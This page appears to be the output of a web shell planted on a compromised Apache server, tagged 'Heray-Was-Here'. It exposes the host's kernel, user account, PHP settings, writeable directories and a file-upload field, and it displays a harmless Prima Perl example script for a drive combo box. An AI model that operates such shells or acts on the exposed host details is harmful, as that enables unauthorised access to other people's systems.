Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /lib64/perl5/vendor_perl/Prima/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/perl5/vendor_perl/Prima/examples/drivecombo.pl
=pod

=head1 NAME

examples/drivecombo.pl - File tree widgets

=head1 FEATURES

Use of standard file-listbox and drive-combo box ( the latter
is idle under *nix )

=cut

use strict;
use warnings;
use Prima::ComboBox;
use Prima::Dialog::FileDialog;

package UserInit;
$::application = Prima::Application-> create( name => "DriveCombo");

my $w = Prima::MainWindow-> create(
	text   => "Combo box",
	left   => 100,
	bottom => 300,
	width  => 250,
	height => 250,
);

$w-> insert( DriveComboBox =>
	pack => { side => 'bottom', padx => 20, pady => 20, fill => 'x' },
	onChange => sub { $w-> DirectoryListBox1-> path( $_[0]-> text); },
);

$w-> insert( DirectoryListBox =>
	pack => { side => 'bottom', padx => 20, pady => 20, fill => 'both', expand => 1, },
	onChange => sub { print $_[0]-> path."\n"},
);

run Prima;

Hry